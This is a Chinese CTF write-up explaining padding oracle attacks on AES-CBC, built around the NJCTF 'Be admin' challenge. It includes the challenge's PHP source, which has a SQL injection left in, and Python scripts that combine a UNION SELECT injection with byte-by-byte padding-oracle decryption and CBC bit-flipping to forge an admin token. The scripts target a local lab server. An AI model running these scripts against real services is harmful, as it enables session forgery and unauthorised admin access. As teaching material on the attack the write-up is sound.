Padding Oracle Attack 分析
来源:互联网 发布:top域名注册免费 编辑:程序博客网 时间:2024/04/28 23:57
Padding Oracle Attack是一个经典的攻击,在《白帽子讲web安全》有一章提到Padding Oracle Attack的攻击方式,本篇文章结合着NJCTF的Be admin 进行详细的讲解,扫除知识上的盲点。
本篇文章讲解的顺序是攻击原理、攻击条件、本地测试、结果分析与总结四个方面进行详细的讲解。
- 0x00攻击原理
- 0x1 padding
- 0x2 CBC分组密码的链接模式
- 0x3 原理总结
- 0x01 攻击条件
- 0x02 本地测试
- 0x1 在本地服务器测试代码
- 0x2 攻击代码
- 0x3 单个检验二值的代码
- 0x4 使用CBC字节翻转
- 0x5 任意值解密
- 0x03 结果分析
0x00攻击原理
0x1 padding
由于CBC是块密码工作模式, 所以要求明文长度必须是块长度的整数倍.
对于不满足的数据, 会进行数据填充到满足整数倍. 即 padding
** ** ** ** ** ** ** 01** ** ** ** ** ** 02 02** ** ** ** ** 03 03 03** ** ** ** 04 04 04 04** ** ** 05 05 05 05 05** ** 06 06 06 06 06 06** 07 07 07 07 07 07 0708 08 08 08 08 08 08 08
即空N位就用N个\xN 进行补全
对于刚好满足明文, 则需要另补出一个块长度的数据
0x2 CBC分组密码的链接模式
由于此处的Padding Oracle Attack是针对CBC分组密码的链接模式来讲的因此此处再讲讲CBC
CBC模式加密流程图
CBC模式解密流程图
理解以上两张图以后还需要知道以下这张图中的intermediary Value的意思,意为中间值(其实就是解密操作后的值)
明文、密文、IV、恶意明文、恶意IV 关系
明文 = 解密(密文) XOR IV
特殊的明文 = 解密(密文) XOR 特殊IV
0x3 原理总结
1. 基于密码学算法的攻击,往往第一个要搞清楚的是,我们在攻击谁,或者准确的说我们的攻击点在哪里?在一个密码学算法中,有很多的参数(指攻击者可以控制的参数),攻击者往往是针对其中某一个或某一些参数进行破解,穷举等攻击。在Padding Oracle Attack攻击中,攻击者输入的参数是IV+Cipher,我们要通过对IV的”穷举”来请求服务器端对我们指定的Cipher进行解密,并对返回的结果进行判断。2. 和SQL注入中的Blind Inject思想类似。我觉得Padding Oracle Attack也是利用了这个二值逻辑的推理原理,或者说这是一种”边信道攻击(Side channel attack)”。http://en.wikipedia.org/wiki/Side_channel_attack这种漏洞不能算是密码学算法本身的漏洞,但是当这种算法在实际生产环境中使用不当就会造成问题。和盲注一样,这种二值逻辑的推理关键是要找到一个”区分点”,即能被攻击者用来区分这个的输入是否达到了目的(在这里就是寻找正确的IV)。比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的”注入点”。
0x01 攻击条件
1.可以控制密文 或者 IV2.如果解密后不满足 padding 服务端会报错.
一般我们在攻击时,可以控制IV或密文的其中之一(一般是控制IV),这样我们可以通过盲注的方法把中间值注出来。
第二个条件,如果padding的结果不对就会返回False,如果正确就会返回解密的值
所以说攻击过程程就相当于盲注过程
下面会本地复现Be admin
0x02 本地测试
这里直接使用NJCTF的代码
注意数据库的搭建!!!
0x1 在本地服务器测试代码
<?phperror_reporting(0);define("SECRET_KEY", "1234567812345678");define("METHOD", "aes-128-cbc");session_start();function get_random_token(){ $random_token=''; for($i=0;$i<16;$i++){ $random_token.=chr(rand(1,255)); } return $random_token;}function get_identity(){ global $defaultId; $defaultId='action'; $j = $defaultId; $token = get_random_token(); $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token ); $_SESSION['id'] = base64_encode($c); setcookie("ID", base64_encode($c)); setcookie("token", base64_encode($token)); if ($j === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false;}function test_identity(){ if (!isset($_COOKIE["token"])) return array(); if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); if ($username = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) { if ($username === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } else { die("ERROR!"); } }}function login($encrypted_pass, $pass)//这里是攻击的地方{ $encrypted_pass = base64_decode($encrypted_pass); $iv = substr($encrypted_pass, 0, 16); $cipher = substr($encrypted_pass, 16); $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); echo var_dump($password); return $password == $pass;}#0000000000000000function need_login($message = NULL) { echo " <!doctype html> <html> <head> <meta charset=\"UTF-8\"> <title>Login</title> <link rel=\"stylesheet\" href=\"CSS/target.css\"> <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script> </head> <body>"; if (isset($message)) { echo " <div>" . $message . "</div>\n"; } echo "<form method=\"POST\" action=''> <div class=\"body\"></div> <div class=\"grad\"></div> <div class=\"header\"> <div>Log<span>In</span></div> </div> <br> <div class=\"login\"> <input type=\"text\" placeholder=\"username\" name=\"username\"> <input type=\"password\" placeholder=\"password\" name=\"password\"> <input type=\"submit\" value=\"Login\"> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> </form> </body> </html>";}global $flag;$flag = "flag{here_is_it}";function show_homepage() { echo "<!doctype html><html><head><title>Login</title></head><body>"; global $flag; printf("Hello ~~~ ctfer! "); if ($_SESSION["isadmin"]) echo $flag; echo "<div><a href=\"logout.php\">Log out</a></div></body></html>";}if (isset($_POST['username']) && isset($_POST['password'])) { $username = (string)$_POST['username']; $password = (string)$_POST['password']; echo $username.$password; $conn=new mysqli("localhost","root","","test") or die("有错误".mysql_error()); $query = "SELECT username, encrypted_pass from users WHERE username='$username'"; $res = $conn->query($query) or trigger_error($conn->error . "[$query]"); if($row = $res->fetch_assoc()) $encrypted_pass = $row["encrypted_pass"]; // echo 'P'.$encrypted_pass.'P'.var_dump($row) ; if ($row && login($encrypted_pass, $password)) { echo "you are in!" . "</br>"; get_identity(); show_homepage(); } else { echo "<script>alert('login failed!');</script>"; need_login("Login Failed!"); }} else { test_identity(); if (isset($_SESSION["id"])) { show_homepage(); } else { need_login(); }}
0x2 攻击代码
import requestsimport base64import time# url='http://218.2.197.235:23737/'url='http://127.0.0.1/2.php'N=16phpsession=""ID=""def inject1(password): param={'username':"' union select 'action','{password}".format(password=password),'password':''} result=requests.post(url,data=param) #print result.content return resultdef inject_token(token): header={"Cookie":"PHPSESSID="+phpsession+";token="+token+";ID="+ID} result=requests.post(url,headers=header) return resultdef xor(a, b): return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])def pad(string,N): l=len(string) if l!=N: return string+chr(N-l)*(N-l)def padding_oracle(N,cipher): get="" for i in xrange(1,N+1): for j in xrange(0,256): padding=xor(get,chr(i)*(i-1)) c=chr(0)*(16-i)+chr(j)+padding+cipher print c.encode('hex') result=inject1(base64.b64encode(chr(0)*16+c)) if "ctfer" not in result.content: print result.content,c.encode('hex') get=chr(j^i)+get time.sleep(0.1) break return getsession=inject1("action").headers['set-cookie'].split(',')phpsession=session[0].split(";")[0][10:]print phpsessionID=session[1][4:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')token=session[2][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')middle=""middle=padding_oracle(N,ID)print "ID:"+ID.encode('base64')print "token:"+token.encode('base64')print "middle:"+middle.encode('base64')print "\n"if(len(middle)==16): plaintext=xor(middle,token); print plaintext.encode('base64') des=pad('admin',N) tmp="" print des.encode("base64") for i in xrange(16): tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i])) print tmp.encode('base64') result=inject_token(base64.b64encode(tmp)) print result.content if "flag" in result.content or "NJCTF" in result.content or 'njctf' in result.content: input("success")
0x3 单个检验二值的代码
import requestsimport base64import timeurl='http://127.0.0.1/2.php'#'http://218.2.197.235:23737/'def inject1(password): param={'username':"' union select 'action','{password}".format(password=password),'password':''} result=requests.post(url,data=param) #print result.content return resultID = 'CCaTjI5AQCB8CX7kHzc8yw=='.decode('base64')ss =("000082da81097ea064692058165be8790826938c8e4040207c097ee41f373ccb").decode('hex')#000081da81097ea064692058165be8790826938c8e4040207c097ee41f373ccbresult=inject1(base64.b64encode(ss))print ssprint result.content
0x4 使用CBC字节翻转
function test_identity(){ if (!isset($_COOKIE["token"])) return array(); if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); if ($username = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) { echo $username; if ($username === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } else { die("ERROR!"); } }}
上述代码可以利用cbc字节翻转直接将密文所对应的明文转化为admin
具体的脚本如下
#nbdRWPAEcOUhoGkPhwRTCw==#actionfrom binascii import b2a_hex, a2b_hexfrom base64 import *s = b64decode('nbdRWPAEcOUhoGkPhwRTCw==')b = s[0]+chr(ord('c')^ord(s[1])^ord('d'))+chr(ord('t')^ord(s[2])^ord('m'))+s[3]+chr(ord('o')^ord(s[4])^ord('n'))+chr(ord('n')^ord(s[5])^ord('\x0b'))for i in range(6,16): b += chr(ord('\x0a')^ord(s[i])^ord('\x0a'))print b64encode(b)
将生成的base64编码放到cookie的token中解析之后就是admin
从而攻击成功
0x5 任意值解密
2.php
<?php error_reporting(0);define("SECRET_KEY", "1234567812345678");define("METHOD", "aes-128-cbc");$token = '1234567890123456';$j = 'flag{111111111}';if ($_GET['a']) { $e = hex2bin($_GET['a']); $token = $_GET['token']; if(openssl_decrypt($e, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token )) { echo "congratulation",openssl_decrypt($e, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token ); } else { echo "decrypt failed"; }}else{echo openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token ); } ?>
构造任意解密值,主要还是根据中间值进行计算,集成化脚本如下
# coding:utf-8import requestsfrom Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longimport binasciis = requests.session()url = 'http://127.0.0.1/2.php'payload = '11'*16 #try to calculate mid valuetoken = '00'*16 #use 16 rounds calc token valuedic = '1234567890abcdef'box = []for i in dic: for j in dic: box.append(i+j)# print boxdef attack(token,pro,num,payload): global mid for i in box: data = { 'a':token[:-num*2]+i+pro+payload, 'token':token } r = s.get(url,params=data) content = r.content print token[:-num*2]+i+pro+payload if 'congratulation' in content: mid = chr(int(i,16)^ord(long_to_bytes(num)))+mid # print ord(mid) pro = ''.join(['0'*(2-len(hex(ord(long_to_bytes(num+1))^ord(mid[k]))[2:]))+hex(ord(long_to_bytes(num+1))^ord(mid[k]))[2:] for k in range(len(mid))]) # token = token[:-1] print content,num break return protext = '12345678901234567890'+'\x0b'*12def final(token,payload,result): pro = '' mid = '' global mid for i in range(16): # print ord(pro) pro = attack(token,pro,i+1,payload) # print ord(pro) # token = token[:-1] ppp = ''.join([chr(ord(result[k])^ord(mid[k])) for k in range(len(mid))]) return binascii.b2a_hex(ppp)payload = final(token,payload,text[:16])#输入第一块值(最后的返回值),第二块值,以及要解密的值print payloadprint final(token,payload,text[16:])
0x03 结果分析
利用上述代码在解密的地方进行攻击
当padding值正确时会正常解密,这时就会返回false,所以登录失败出现上图结果。如果解密错误就会返回true,继续寻找正确的真值。知道全部找到为止。
- Padding Oracle Attack 分析
- Padding Oracle Attack实例分析
- Padding Oracle Attack 笔记
- Padding oracle attack!
- padding oracle attack相关之padding oracle attack
- padding oracle attack--记录一下
- Padding Oracle Attack,ASP.NET 最新安全漏洞
- Padding Oracle Attack,ASP.NET 的安全漏洞
- padding oracle attack相关之CBC模式
- 2010年度最有技术含量攻击:Padding Oracle Attack
- 2010年度最有技术含量攻击:Padding Oracle Attack
- 浅谈这次ASP.NET的Padding Oracle Attack相关内容
- padding oracle attack相关之PKCS #5填充
- .NET Padding Oracle Attack, padBuster.pl, and the Microsoft Recommended Workarounds
- Padding Oracle攻击(POODLE)技术分析
- padding oracle
- oracle attack module
- Oracle Attack Methodology
- 使用文件锁实现进程间同步
- 牛客刷题-软件测试
- POJ 1141 Brackets Sequence 笔记
- 测试学习
- LeetCode Implement strStr()(朴素的字符串匹配,RK算法,KMP算法)
- Padding Oracle Attack 分析
- 信息系统项目管理知识--项目风险管理
- 分布式深度学习的两种集群管理与调度的实现方式简介
- mysql忘记密码修改
- 【深度学习】RNN(循环神经网络)
- HTTPS 和 HTTP的联系与区别
- POJ 3067 Japan(树状数组求逆序对个数)
- 蓝桥杯之平方末尾
- 信息系统项目管理知识--项目采购管理